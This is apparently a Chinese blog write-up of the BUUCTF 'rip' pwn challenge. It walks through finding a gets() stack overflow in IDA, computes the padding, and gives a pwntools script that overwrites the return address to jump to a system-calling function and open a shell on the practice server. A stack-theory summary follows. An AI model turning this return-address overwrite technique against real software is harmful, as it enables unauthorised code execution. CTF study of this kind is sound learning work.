pwn学习(3)BUUCTF-rip

下载文件,查看文件信息

IDA64打开,发现危险函数gets(),可以判断存在栈溢出漏洞

接着查看fun()函数,发现是system函数,system是C语言下的一个可以执行shell命令的函数

接下来思路就清晰了,需要用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数

函数的局部变量会存放在他的栈中,那么我们在main函数中,双击s变量,查看s分配了多少空间

是十五个字节的空间,也就是在main函数的栈帧中,给s划分了一个15字节的存储空间,

因为是64位的ELF文件,所以rbp是8个字节

那么我们需要8个字节将rbp填满,这样就可以溢出进入return address了,接下来我们输入return address(返回地址),也就是说是fun函数的地址,地址我们可以看到是0x401186

接下来构建EXP:

复制代码
from pwn import *  
p=remote("node4.buuoj.cn",29244) #靶机地址和端口
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
#char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。
p.sendline(payload)
p.interactive()

运行exp发现跑通了,先ls查看文件,发现flag

总结:

1.函数栈知识讲解:

1.函数调用栈是指程序运行时内存一段连续的区域。(特殊的内存)

2.用来保存函数运行时的状态信息,包括函数参数与局部变量等。

3.称之为'栈'是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶。

4.在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态

5.函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大

函数状态主要涉及三个寄存器------------esp,ebp,eip。esp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。ebp用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。eip用来存储即将执行程序指令的地址,CPU依照eip的存储内容读取指令并执行,eip随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

2.缓冲区溢出(buffer overflow)

编写程序时没有考虑到控制或者错误控制用户输入的长度,本质就是向定长的缓冲区中写入超长的数据,造成超出的数据覆写了合法内存区域

栈溢出(Stack overflow)最常见,漏洞比例最高,危害最大的二进制漏洞,在CTF PWN中往往时漏洞利用的基础

相关推荐
罗超驿1 分钟前
22.深入剖析JDBC架构:从原生API到企业级数据交互核心
java·数据库·mysql·面试
桀人2 分钟前
C++——模板初阶(收录在专栏C++入门到精通)
开发语言·c++
一直有一个ac的梦想10 分钟前
cmu15445 2025fall lec 18 transactions with two-phase lock
java·开发语言·数据库
九皇叔叔11 分钟前
Spring-Ai-Alibaba [04] 04-llm-platform-custom-demo
java·人工智能·spring
技术路上的探险家13 分钟前
Sa-Token 单点登录(SSO)三种模式大白话详解:告别重复登录
java·sa-token·单点登录·sso
JAVA社区24 分钟前
Java进阶全套教程(四)—— SpringMVC框架详解
java·开发语言·spring·面试·职场和发展
ㄣ知冷煖★24 分钟前
统一网关架构实践:从 Token 鉴权到路由、策略与凭证池转发全链路解析
java·服务器·架构
Lumbrologist29 分钟前
【C++】零基础入门 · 第 2 节:变量、基本数据类型与输入输出
java·开发语言·c++
GISer_Jing30 分钟前
Three.JS渲染架构解读
java·javascript·架构
绝知此事40 分钟前
Netty实战:从零构建高性能TCP通信服务(含心跳检测)
java·网络·spring boot·网络协议·tcp/ip